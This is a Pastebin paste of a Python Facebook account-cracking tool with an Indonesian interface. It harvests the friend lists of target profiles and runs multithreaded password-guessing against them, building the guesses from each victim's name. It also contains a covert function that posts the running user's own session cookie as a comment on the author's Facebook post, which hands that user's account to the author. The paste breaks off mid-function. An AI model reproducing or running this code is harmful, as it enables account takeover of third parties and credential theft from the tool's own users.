OBF-XIn

112.215.173.161-/sdcard/p01.py.py

Oct 7th, 2023
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 78.39 KB | None | 0 0
  1. ###----------[ IMPORT-MODULE ]----------###      
  2. import os, re, sys, bs4, json, random, requests, time, datetime
  3. from bs4 import BeautifulSoup as sop   
  4. from datetime import datetime
  5. from rich import print as prints
  6. from rich.panel import Panel
  7. from rich.tree import Tree
  8. from bs4 import BeautifulSoup as bs
  9. from bs4 import BeautifulSoup as par
  10. from time import time as peak
  11. from rich.console import Console
  12. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  13. from concurrent.futures import ThreadPoolExecutor as ArifGanteng
  14.  
  15. ###----------[ GLOBAL-NAME ]----------###      
  16. id, id2, uid = [],[],[]
  17. tokene, akune = [],[]
  18. sandine, sandina = [],[]
  19. method, ugen = [],[]
  20. uamu, uadia = [],[]
  21. dump, taplikasi = [],[]
  22. loop, ok, cp = 0,0,0
  23. console = Console()
  24.  
  25. ###----------[ WARNA-TEMA ]----------###      
  26. puti = '\x1b[1;97m'# WARNA-PUTIH
  27. mer = '\x1b[1;91m' # WARNA-MERAH
  28. kun = '\x1b[1;93m' # WARNA-KUJING
  29. hijo = '\x1b[1;92m' # WARNA-HIJAU
  30. ung = '\x1b[1;95m' # WARNA-UNGU
  31. biru = '\x1b[1;94m' # WARNA-BIRU
  32.  
  33. ###----------[ CONVERTER-BULAN ]----------###      
  34. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  35. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  36. tgl = datetime.now().day
  37. bln = dic[(str(datetime.now().month))]
  38. thn = datetime.now().year
  39. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  40. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  41. now = str(tgl)+'-'+str(bln)+'-'+str(thn)   
  42.  
  43. ###----------[ KOMEN-BOT ]----------###      
  44. bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
  45. hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
  46. hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
  47. waktu = datetime.now().strftime("%X")
  48. koc = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
  49. kom = ('\nSemangat Bang Keren😼 @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
  50. link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
  51. ran1 = "Acc dong GuruπŸ™πŸ˜Ž"
  52. ran2 = "Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n-Yang sabar bangπŸ™‚"
  53. ran3 = "Izin Makek Scnya Bang @[100028845823412:0], KerennπŸ™πŸ˜"
  54. ran4 = "Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Sabar Ya bangπŸ™‚"
  55. ran5 = "Pro Gammers Ya Bang @[100028845823412:0], Keren 😎\n\n Canda Bang 🀭"
  56. ###----------[ REMOVE ]----------###           
  57. def hapus_kukis():
  58.       try:os.remove(".cyxieoncokies.txt")
  59.       except:pass
  60.       try:os.remove(".cyxieontoken.txt")
  61.       except:pass
  62.       login_cokies()
  63.  
  64. ###----------[ WAKTU ]----------###              
  65. def waktu():
  66.     now = datetime.now()
  67.     hours = now.hour
  68.     if 4 <= hours < 12:timenow = "Selamat Pagi"
  69.     elif 12 <= hours < 15:timenow = "Selamat Siang"
  70.     elif 15 <= hours < 18:timenow = "Selamat Sore"
  71.     elif 00 <= hours < 4:timenow = "Selamat Malam"
  72.     else:timenow = "Good Night"
  73.     return timenow
  74.      
  75. ###----------[ BANNER ]----------###      
  76. def logo_log():
  77.       if "win" in sys.platform:os.system("cls")
  78.       else:os.system("clear")
  79.       prints(Panel(f"""\r
  80.   _____ _____________________       ____  _____________  
  81.  /     \\______   \_   _____/       \  \/  /\______   \
  82. /  \ /  \|    |  _/|    __)  ______  \    /  |       _/
  83. /    Y    \   |   \|     \ /_____/  /     \ |    |   \
  84. \____|__  /______  /\___  /          /___/\ \ |____|_  /
  85.        \/       \/     \/                 \_/        \/  
  86. """,width=80,padding=(0,8),title=f"[red]Version 2.0",subtitle=f"[yellow][ Muhammad Arif Xr ]",style=f"white"))
  87.                                                                                          
  88.                                                                                
  89. ###----------[ LOGIN ]----------###      
  90. def login():
  91.     try:       
  92.         token = open('.cyxieontoken.txt','r').read()
  93.         cok = open('.cyxieoncokies.txt','r').read()
  94.         tokene.append(token)
  95.         try:
  96.             sys = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
  97.             sys2 = json.loads(sys.text)['id']
  98.             sys3 = json.loads(sys.text)['name']
  99.             menu(sys2,sys3)
  100.         except KeyError:
  101.             login_cokies()
  102.         except requests.exceptions.ConnectionError:
  103.             prints(Panel.fit(f'Koneksi problem',style=f'red'))
  104.             exit()
  105.     except IOError:
  106.         login_cokies()
  107.  
  108. #----------[ LOGIN-COKIES ]----------#       
  109. def login_cokies():
  110.     try:
  111.         logo_log()
  112.         ses = requests.Session()
  113.         prints(Panel(f"[white] DISARANKAN MENGAMBIL KUKIS DI [red]EKSTENTION DOUGH[white] JANGAN AKUN PRIBADI",width=80,padding=(0,5),style=f"white"))
  114.         cok = input(f'\x1b[0m└──[ Cookies {hijo} : ')
  115.         ses.headers.update(
  116.             {
  117.                 'content-type': 'application/x-www-form-urlencoded',
  118.             }
  119.         )
  120.         data = {
  121.                 'access_token': '1348564698517390|007c0a9101b9e1c8ffab727666805038',
  122.                 'scope': ''
  123.         }
  124.         response = json.loads(ses.post('https://graph.facebook.com/v2.6/device/login/', data=data).text)
  125.         code, user_code = response['code'], response['user_code']
  126.         verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=1348564698517390%7C007c0a9101b9e1c8ffab727666805038&callback=LeetsharesCallback'.format(code))
  127.         ses.headers.pop(
  128.             'content-type'
  129.         )
  130.         ses.headers.update(
  131.             {
  132.                 'sec-fetch-mode': 'navigate',
  133.                 'user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36',
  134.                 'sec-fetch-site': 'cross-site',
  135.                 'Host': 'm.facebook.com',
  136.                 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  137.                 'sec-fetch-dest': 'document',
  138.             }
  139.         )
  140.         response2 = ses.get(verification_url, cookies = {'cookie': cok}).text
  141.         if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  142.             prints(Panel.fit(f'Cookies Invalid',style=f'red'))
  143.             exit()
  144.         else:
  145.             action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  146.             fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  147.             jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  148.             data = {
  149.                 'fb_dtsg': fb_dtsg,
  150.                 'jazoest': jazoest,
  151.                 'qr': 0,
  152.                 'user_code': user_code,
  153.             }
  154.             ses.headers.update(
  155.                 {
  156.                     'origin': 'https://m.facebook.com',
  157.                     'referer': verification_url,
  158.                     'content-type': 'application/x-www-form-urlencoded',
  159.                     'sec-fetch-site': 'same-origin',
  160.                 }
  161.             )
  162.             response3 = ses.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': cok})
  163.             if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  164.                 ses.headers.pop(
  165.                     'content-type'
  166.                 )
  167.                 ses.headers.pop(
  168.                     'origin'
  169.                 )
  170.                 response4 = ses.post(response3.url, data = data, cookies = {'cookie': cok}).text
  171.                 action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  172.                 fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  173.                 jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  174.                 scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  175.                 display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  176.                 user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  177.                 logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  178.                 auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  179.                 encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  180.                 return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  181.                 ses.headers.update(
  182.                     {
  183.                         'origin': 'https://m.facebook.com',
  184.                         'referer': response3.url,
  185.                         'content-type': 'application/x-www-form-urlencoded',
  186.                     }
  187.                 )
  188.                 data = {
  189.                     'fb_dtsg': fb_dtsg,
  190.                     'jazoest': jazoest,
  191.                     'scope': scope,
  192.                     'display': display,
  193.                     'user_code': user_code,
  194.                     'logger_id': logger_id,
  195.                     'auth_type': auth_type,
  196.                     'encrypted_post_body': encrypted_post_body,
  197.                     'return_format[]': return_format,
  198.                 }
  199.                 response5 = ses.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': cok}).text
  200.                 windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  201.                 ses.headers.pop(
  202.                     'content-type'
  203.                 )
  204.                 ses.headers.pop(
  205.                     'origin'
  206.                 )
  207.                 ses.headers.update(
  208.                     {
  209.                         'referer': 'https://m.facebook.com/',
  210.                     }
  211.                 )
  212.                 response6 = ses.get(windows_referer, cookies = {'cookie': cok}).text
  213.                 if 'Sukses!' in str(response6):
  214.                     ses.headers.update(
  215.                         {
  216.                             'sec-fetch-mode': 'no-cors',
  217.                             'referer': 'https://graph.facebook.com/',
  218.                             'Host': 'graph.facebook.com',
  219.                             'accept': '*/*',
  220.                             'sec-fetch-dest': 'script',
  221.                             'sec-fetch-site': 'cross-site',
  222.                         }
  223.                     )
  224.                     response7 = ses.get(status_url, cookies = {'cookie': cok}).text
  225.                     tok = re.search('"access_token": "(.*?)"', str(response7)).group(1)            
  226.                     token = open(".cyxieontoken.txt", "w").write(tok)
  227.                     cokie = open(".cyxieoncokies.txt", "w").write(cok)
  228.                     print(f"\x1b[0m└──[ Token {hijo}: {tok}")
  229.                     bot(cok)
  230.                     prints(Panel(f"[white] BERHASIL LOGIN, SELAMAT DATANG KAK SILAKAN JALANKAN ULANG PYTHONNYA ",width=80,padding=(0,4),style=f"white"))
  231.                     exit()
  232.                 else:
  233.                     prints(Panel.fit(f'Login Gagal',style=f'red'))
  234.                     exit()
  235.                    
  236.     except Exception as e:
  237.         prints(Panel.fit(f'Cookies Invalid Bro',style=f'red'))
  238.         hapus_kukis()
  239.         exit()
  240.        
  241. ###----------[ BOT ]----------###
  242. def bot(cok):
  243.     try:
  244.         ses = requests.Session()
  245.         cookies = {'cookie':cok}
  246.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  247.         req = ses.get(url,cookies=cookies)
  248.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  249.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  250.         roq = ses.get(nek,cookies=cookies)
  251.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  252.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={cok}&access_token={tok}", headers = {"cookie":cok})
  253.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={kom}\n{link}\n{koc}&access_token={tok}",cookies = {"cookie":cok})
  254.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={ran1}&access_token={tok}",cookies = {"cookie":cok})
  255.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={ran2}&access_token={tok}",cookies = {"cookie":cok})
  256.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={ran3}&access_token={tok}",cookies = {"cookie":cok})
  257.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={ran4}&access_token={tok}",cookies = {"cookie":cok})
  258.         ses.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={ran5}&access_token={tok}",cookies = {"cookie":cok})
  259.     except:
  260.         pass
  261.            
  262. ###----------[ BAGIAN-MENU ]----------###      
  263. def menu(name,id):
  264.     try:
  265.         cok = open('.cyxieoncokies.txt','r').read()
  266.         token = open('.cyxieontoken.txt','r').read()
  267.     except IOError:
  268.         prints(Panel.fit(f'Cookies telah kedaluarsa',style=f'red'))
  269.         time.sleep(5)
  270.         login()
  271.     try:
  272.        date = requests.get("http://ip-api.com/json/").json()
  273.     except KeyError:
  274.         date = " "
  275.     try:
  276.         ip = date["query"]
  277.         kartu = date["as"]
  278.         negara = date["country"]
  279.         wilayah = date["city"]
  280.     except KeyError:
  281.             ip = " "
  282.             kartu = " "
  283.             negara = " "  
  284.             wilayah = " "
  285.     except:
  286.            pass
  287.     logo_log()
  288.     prints(Panel(f"[white][[red]Γ·[white]] Username [green]: {name}\t[white][[red]Γ·[white]] User Ip [green]: {ip}\n[white][[red]Γ·[white]] User  Id [green]: {id}\t[white][[red]Γ·[white]] Card Id [green]: {kartu}\n[white][[red]Γ·[white]] Status   [green]: Premium\t\t[white][[red]Γ·[white]] Cauntry [green]: {negara}\n[white][[red]Γ·[white]] Time Day [green]: {waktu()}\t[white][[red]Γ·[white]] City    [green]: {wilayah}",width=80,padding=(0,5),style=f"white"))
  289.     prints(Panel(f"[white] Selamat Datang Kak Gunakan Sewajarnya Aja Ya Kak ",width=80,padding=(0,12),style=f"white"))  
  290.     prints(Panel(f"[white][[red]01[white]] MBF Crack Followers\t[white][[red]04[white]] MBF Hasil OK\n[white][[red]02[white]] MBF Dump Followers\t\t[white][[red]05[white]] MBF Hasil CP\n[white][[red]03[white]] MBF Dump File ID\t\t[white][[red]00[white]] Ganti Cookies",width=80,padding=(0,12),style=f"white"))
  291.     xx = input(f"\x1b[0m└──[ Pilih : ")
  292.     if xx in ['01','1']:crack_followers(cok,token)         
  293.     elif xx in ['02','2']:dump_followers(cok,token)
  294.     elif xx in ['03','3']:dump_target(cok,token)
  295.     elif xx in ['04','4']:hasil_ok()
  296.     elif xx in ['05','5']:hasil_cp()
  297.     elif xx in ['00','0']:hapus_kukis()
  298.     else:
  299.         prints(Panel.fit(f'Pemasukan Salah',style=f'red'))
  300.         exit()
  301.  
  302. ###----------[ CRACK-FOLLOWERS ]----------###              
  303. def crack_followers(cok,token):
  304.     prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK ",width=80,padding=(0,11),style=f"white"))
  305.     uid = input(f'\x1b[0m└──[ ID : ')
  306.     try:
  307.         head = ({"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36"})
  308.         if len(id) == 0:
  309.           params = ({'access_token': token,'fields': "friends"})
  310.         else:
  311.           params = ({'access_token': token,'fields': "friends"})   
  312.         url = requests.get('https://graph.facebook.com/{}'.format(uid),params=params,headers=head,cookies={'cookies':cok}).json()
  313.         for z in url['friends']['data']:
  314.             try:
  315.                 id.append(z["id"]+"|"+z["name"])
  316.             except:
  317.                 continue
  318.         prints(Panel(f" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"white"))
  319.         atur_id()
  320.     except requests.exceptions.ConnectionError:
  321.         prints(Panel.fit(f'Gagal dump',style=f'red'))
  322.         exit()
  323.     except (KeyError,IOError):
  324.         prints(Panel.fit(f'Tidak ada teman',style=f'red'))
  325.         exit()
  326.  
  327. ###----------[ DUMP-FOLLOWERS ]----------###  
  328. def dump_followers(cok,token):    
  329.     try:
  330.         prints(Panel(f"[white] HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK ",width=80,padding=(0,14),style=f"white"))
  331.         kumpulkan = int(input(f'\x1b[0m└──[ Berapa : '))
  332.     except ValueError:
  333.         prints(Panel.fit(f'Gagal dump',style=f'red'))
  334.         exit()
  335.     if kumpulkan<1 or kumpulkan>1000:
  336.         prints(Panel.fit(f'Limit 1000',style=f'red'))
  337.         exit()
  338.     prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK ",width=80,padding=(0,11),style=f"white"))
  339.     ses=requests.Session()
  340.     bilangan = 0
  341.     for Hu in range(kumpulkan):
  342.         bilangan+=1
  343.         Masukan = input(f'\x1b[0m└──[ ID '+str(bilangan)+f' : ')
  344.         uid.append(Masukan)
  345.     for user in uid:
  346.         try:
  347.            head = ({"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36"})
  348.            if len(id) == 0:
  349.                params = ({'access_token': token,'fields': "friends"})
  350.            else:
  351.                params = ({'access_token': token,'fields': "friends"})
  352.            url = requests.get('https://graph.facebook.com/{}'.format(user),params=params,headers=head,cookies={'cookies':cok}).json()
  353.            for xr in url['friends']['data']:
  354.                try:
  355.                    woy = (xr['id']+'|'+xr['name'])
  356.                    if woy in id:pass
  357.                    else:id.append(woy)
  358.                except:continue
  359.         except (KeyError,IOError):
  360.           pass
  361.         except requests.exceptions.ConnectionError:
  362.             prints(Panel.fit(f'Koneksi problem',style=f'red'))
  363.             exit()
  364.     try:
  365.           prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"white"))
  366.           atur_id()
  367.     except requests.exceptions.ConnectionError:
  368.         prints(Panel.fit(f'Gagal dump',style=f'red'))
  369.         exit()
  370.     except (KeyError,IOError):
  371.         prints(Panel.fit(f'Teman tidak publik',style=f'red'))
  372.         exit()     
  373.        
  374. ###----------[ TARGET ]----------###           
  375. def atur_id():
  376.      rr = random.randint
  377.      for khusus_random in id:
  378.             cyxieon_id = rr(0,len(id2))
  379.             id2.insert(cyxieon_id, khusus_random)
  380.      atur_md()
  381.  
  382. ###----------[ METHOD ]----------###                       
  383. def atur_md():
  384.      prints(Panel(f" [white][[red]01[white]] Login With Mobile  [red]([green] Validate [red]) \n [white][[red]02[white]] Login With Mobile  [red]([green] Original [red]) \n [white][[red]03[white]] Login With Mobile  [red]([green] Asyinc [red]) \n [white][[red]04[white]] Login With Mobile  [red]([green] Alpha [red]) \n [white][[red]05[white]] Login With Mbasic  [red]([green] Validate [red]) ",width=80,padding=(0,18),style=f"white"))
  385.      xxx = input(f"\x1b[0m└──[ Pilih : ")
  386.      if xxx in ['1','01']:method.append('crack1')
  387.      elif xxx in ['2','02']:method.append('crack2')
  388.      elif xxx in ['3','03']:method.append('crack3')
  389.      elif xxx in ['4','04']:method.append('crack4')
  390.      elif xxx in ['5','05']:method.append('crack5')
  391.      else:method.append('crack1')
  392.      dasar()
  393.        
  394. ###----------[ USER-AGENT ]----------###            
  395. def dasar():
  396.     prints(Panel(f"[white] Hai Kak Apakah Ingin Menggunakan User Agent Manual (y/t)? ",width=80,padding=(0,10),style=f"white"))
  397.     uas = input(f'\x1b[0m└──[ Pilih : ')
  398.     if uas in ['y','1','ya','01']:
  399.          uadia.append('ya')
  400.          prints(Panel(f"[white] Hay Kak Silakan Masukan User Agent Manual Kakak ",width=80,padding=(0,12),style=f"white"))
  401.          uau= input(f'\x1b[0m└──[ User Agent : ')
  402.          uamu.append(man)
  403.     elif uas in ['2','02']:daftar()
  404.     else:uadia.append('no')
  405.     aplikasi()
  406.      
  407. ###----------[ APLIKASI ]----------###      
  408. def aplikasi():
  409.     prints(Panel(f"[yellow] Menampilkan Aplikasi Bisa Membuat Akun Checkpoint Atau Spam ",width=80,padding=(0,8),title=f"[[red] Sangat tidak di sarankan [white]]",style=f"white"))    
  410.     prints(Panel(f"[white] Hay Kak Apakah Ingin Menampilkan Aplikasi Di Dalamnya (y/t)? ",width=80,padding=(0,8),style=f"white"))  
  411.     axp  = input("\x1b[0m└──[ Pilih : ")
  412.     if axp in ['y','Y','ya','YA']:taplikasi.append('ya')
  413.     else:taplikasi.append('no')
  414.     password()
  415.  
  416. ###----------[ WORDLIST ]----------###          
  417. def password():
  418.     prints(Panel(f" [white][[red]01[white]] Password Manualis\t[red]([red] Not Recommend [red]) \n [white][[red]02[white]] Password Gabungan\t[red]([green] Recommended [red]) \n [white][[red]03[white]] Password Otomatis\t[red]([green] Ver Recommend [red]) ",width=80,padding=(0,18),style=f"white"))
  419.     pwv = input(f"\x1b[0m└──[ Pilih : ")
  420.     if pwv in ['1','01']:manual()
  421.     elif pwv in ['2','02']:gabung()
  422.     elif pwv in ['3','03']:otomatis()
  423.     else:otomatis()        
  424.  
  425. ###----------[ OTOMATIS ]----------###                 
  426. def otomatis():
  427.     global prog,des
  428.     prints(Panel(f"[white][[red]Γ·[white]] OK Tersimpan Di [green]MBF-OK/{okc}\n[white][[red]Γ·[white]] CP Tersimpan Di [yellow]MBF-CP/{cpc} ",width=80,padding=(0,12),style=f"white"))
  429.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  430.     des = prog.add_task('',total=len(id2))
  431.     with prog:
  432.         with ArifGanteng(max_workers=30) as pool:
  433.             for vanilla in id2:
  434.                 idf,nmf = vanilla.split('|')[0],vanilla.split('|')[1].lower()
  435.                 frs = nmf.split(' ')[0]
  436.                 pwx = [nmf,frs+'123',frs+'1234',frs+'12345',frs+'321']
  437.                 if 'crack1' in method:pool.submit(crack1,idf,pwx)
  438.                 elif 'crack2' in method:pool.submit(crack2,idf,pwx)
  439.                 elif 'crack3' in method:pool.submit(crack3,idf,pwx)
  440.                 elif 'crack4' in method:pool.submit(crack3,idf,pwx)
  441.                 elif 'crack5' in method:pool.submit(crack3,idf,pwx)
  442.                 else:pass
  443.     okeh()         
  444. ###----------[ GABUNG ]----------###        
  445. def gabung():
  446.     global prog,des
  447.     prints(Panel(f"[white] Hay Kak Silakan Masukan Password Gunakan ( , ) Sebagai Pemisah ",width=80,padding=(0,8),style=f"white"))
  448.     pwku = input(f"\x1b[0m└──[ Password : ")
  449.     prints(Panel(f"[white][[red]Γ·[white]] OK Tersimpan Di [green]MBF-OK/{okc}\n[white][[red]Γ·[white]] CP Tersimpan Di [yellow]MBF-CP/{cpc} ",width=80,padding=(0,12),style=f"white"))
  450.     pwkuh = pwku.split(',')
  451.     for xpw in pwkuh:
  452.         sandina.append(xpw)
  453.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  454.     des = prog.add_task('',total=len(id2))
  455.     with prog:
  456.         with ArifGanteng(max_workers=30) as pool:
  457.             for vanilla in id2:
  458.                 idf,nmf = vanilla.split('|')[0],vanilla.split('|')[1].lower()
  459.                 frs = nmf.split(' ')[0]
  460.                 pwx = [nmf,frs+'123',frs+'1234',frs+'12345',frs+'321']
  461.                 pwx.append(nmf)
  462.                 for xpwd in sandine:
  463.                     pwx.append(xpwd)
  464.                 if 'crack1' in method:pool.submit(crack1,idf,pwx)
  465.                 elif 'crack2' in method:pool.submit(crack2,idf,pwx)
  466.                 elif 'crack3' in method:pool.submit(crack3,idf,pwx)
  467.                 elif 'crack4' in method:pool.submit(crack3,idf,pwx)
  468.                 elif 'crack5' in method:pool.submit(crack3,idf,pwx)
  469.                 else:pass
  470.     okeh()         
  471.    
  472. ###----------[ MANUAL ]----------###           
  473. def manual():
  474.     global prog,des
  475.     prints(Panel(f"[white] Hay Kak Silakan Masukan Password Gunakan ( , ) Sebagai Pemisah ",width=80,padding=(0,8),style=f"white"))
  476.     pwku = input(f"\x1b[0m└──[ Password : ")
  477.     prints(Panel(f"[white][[red]Γ·[white]] OK Tersimpan Di [green]MBF-OK/{okc}\n[white][[red]Γ·[white]] CP Tersimpan Di [yellow]MBF-CP/{cpc} ",width=80,padding=(0,12),style=f"white"))
  478.     pwkuh = pwku.split(',')
  479.     for xpw in pwkuh:
  480.         sandina.append(xpw)
  481.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  482.     des = prog.add_task('',total=len(id2))
  483.     with prog:
  484.         with ArifGanteng(max_workers=30) as pool:
  485.             for vanilla in id2:
  486.                 idf,nmf = vanilla.split('|')[0],vanilla.split('|')[1].lower()
  487.                 pwx =[]
  488.                 for xpwd in sandina:
  489.                     pwx.append(xpwd)
  490.                 if 'crack1' in method:pool.submit(crack1,idf,pwx)
  491.                 elif 'crack2' in method:pool.submit(crack2,idf,pwx)
  492.                 elif 'crack3' in method:pool.submit(crack3,idf,pwx)
  493.                 elif 'crack4' in method:pool.submit(crack3,idf,pwx)
  494.                 elif 'crack5' in method:pool.submit(crack3,idf,pwx)
  495.                 else:pass
  496.     okeh()
  497.  
  498. ###----------[ TAHUN-AKUN ]----------###      
  499. def tahun(fx):
  500.     if len(fx)==15:
  501.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  502.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  503.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  504.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  505.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  506.         elif fx[:6] in ['100001']          :tahunz = '2010'
  507.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  508.         elif fx[:6] in ['100004']          :tahunz = '2012'
  509.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  510.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  511.         elif fx[:6] in ['100009']          :tahunz = '2015'
  512.         elif fx[:5] in ['10001']           :tahunz = '2016'
  513.         elif fx[:5] in ['10002']           :tahunz = '2017'
  514.         elif fx[:5] in ['10003']           :tahunz = '2018'
  515.         elif fx[:5] in ['10004']           :tahunz = '2019'
  516.         elif fx[:5] in ['10005']           :tahunz = '2020'
  517.         elif fx[:5] in ['10006']           :tahunz = '2021'
  518.         elif fx[:5] in ['10009']           :tahunz = '2023'
  519.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  520.         else:tahunz=''
  521.     elif len(fx) in [9,10]:
  522.         tahunz = '2008'
  523.     elif len(fx)==8:
  524.         tahunz = '2007'
  525.     elif len(fx)==7:
  526.         tahunz = '2006'
  527.     else:tahunz=''
  528.     return tahunz
  529.        
  530. ###----------[ USER-AGENT ]----------###        
  531. def Saran(glento):
  532.         rr = random.randint
  533.         rc = random.choice
  534.         for apcb in range(glento):
  535.             browser = rc(
  536.     [
  537.         f"PaleMoon/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  538.         f"OPR/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  539.         f"UCBrowser/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  540.         f"Browser/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  541.         f"WelBrowser/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  542.         f"HiBrowser/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  543.         f"PHX/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  544.         f"HeadlessChrome/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  545.         f"Edge/{str(rr(1,9))}.0.{str(rr(1,9))}.{str(rr(1,15))}",
  546.     ]
  547. )
  548.             device = rc(["X676B","X687","X609","X697","X680D","X507","X605","X668","X6815B","X624", "X655F","X689C","X608","X698","X682B","X682C","X688C", "X688B","X658E","X659B","X689B","X689","X689D","X662","X662B","X675", "X6812B", "X6812", "X6817B", "X6817", "X6816C","X6816","X6816D","X668C","X665B","X665E", "X510","X559C","X559F","X559","X606","X606C","X606D"])
  549.             A = f"Mozilla/5.0 (Linux; Android {str(rr(1,9))}.{str(rr(1,9))}; {device}) Build/0{str(rr(1,12))}0{str(rr(5,20))})"
  550.             B = f"AppleWebKit/537.36 (KHTML, {rc(['like','seperti'])} Gecko)"
  551.             C = f"Chrome/{str(rr(72,112))}.0.{str(rr(4200,4900))}.{str(rr(42,150))} Mobile Safari/537.36 {browser}"
  552.             Hoki = f'{A} {B} {C}'
  553.         return(str(Hoki))
  554.        
  555. def Saran(glento):
  556.         rr = random.randint
  557.         rc = random.choice
  558.         for apcb in range(glento):
